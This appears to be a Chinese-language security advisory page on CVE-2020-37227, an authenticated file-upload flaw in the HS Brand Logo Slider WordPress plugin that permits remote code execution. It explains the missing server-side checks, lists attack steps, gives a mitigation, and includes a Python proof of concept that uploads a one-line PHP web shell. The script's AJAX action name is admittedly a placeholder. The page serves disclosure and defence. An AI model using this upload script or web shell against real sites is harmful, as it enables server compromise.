IPBUF安全漏洞报告
English
CVE-2020-37227 CVSS 8.8 高危

CVE-2020-37227 HS Brand Logo Slider远程代码执行漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37227
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
HS Brand Logo Slider

相关标签

RCEWordPress文件上传HS Brand Logo Slider

漏洞概述

HS Brand Logo Slider WordPress插件2.1版本存在严重的任意文件上传漏洞。该漏洞源于仅依赖客户端验证,缺乏服务端对文件类型的严格检查。攻击者可利用该漏洞绕过前端限制,通过拦截上传请求并将文件重命名为.php扩展名,上传恶意脚本至服务器。这可能导致经过身份验证的攻击者实现远程代码执行,完全控制受影响的服务器。

技术细节

该漏洞的核心机制在于插件对文件上传的安全校验完全依赖于客户端JavaScript,而服务端未实施任何防御措施。具体流程如下:受影响版本在处理`logoupload`参数时,前端JS代码会检查文件后缀是否为图片格式。然而,攻击者可以轻易禁用JavaScript或使用代理工具(如Burp Suite)拦截并修改HTTP请求。在获取到合法的WordPress登录凭证(满足PR:L要求)后,攻击者向后台接口发送上传请求,并在数据包中将文件名修改为`.php`后缀(如`shell.php`)。由于服务端未重写文件名且未检查MIME类型,恶意文件被直接保存至可访问目录。攻击者随后通过浏览器访问该文件路径,触发PHP引擎解析,从而在服务器上下文中执行恶意代码,获取系统权限。

攻击链分析

STEP 1
侦察
识别目标站点是否安装了HS Brand Logo Slider插件。
STEP 2
获取凭证
注册或获取一个有效的WordPress账户(低权限即可)。
STEP 3
利用漏洞
登录后台,访问Logo上传页面,使用代理工具拦截请求并将文件名改为.php后缀进行上传。
STEP 4
执行代码
访问上传的PHP文件URL,传入恶意命令参数,在服务器端执行代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = 'http://example.com/wp-admin/admin-ajax.php' login_url = 'http://example.com/wp-login.php' # Credentials username = 'attacker' password = 'password' # 1. Authenticate to get cookies session = requests.Session() payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': 'http://example.com/wp-admin/' } session.post(login_url, data=payload) # 2. Prepare the malicious file (PHP shell) php_code = '<?php system($_GET["cmd"]); ?>' files = { # Bypass client-side check by sending correct Content-Type, but server accepts .php 'logoupload': ('shell.php', php_code, 'application/octet-stream') } # 3. Send the upload request (Action might differ based on plugin hook) data = { 'action': 'hs_logo_upload_action' # Example action name, real name depends on plugin } response = session.post(target_url, files=files, data=data) if response.status_code == 200: print("File uploaded successfully.") print("Check shell at: http://example.com/wp-content/uploads/shell.php?cmd=whoami") else: print("Upload failed.")

影响范围

HS Brand Logo Slider 2.1

防御指南

临时缓解措施
如果无法立即更新,建议暂时禁用该插件。此外,应在Web服务器配置(如Nginx或Apache)中禁止在uploads目录下解析和执行PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表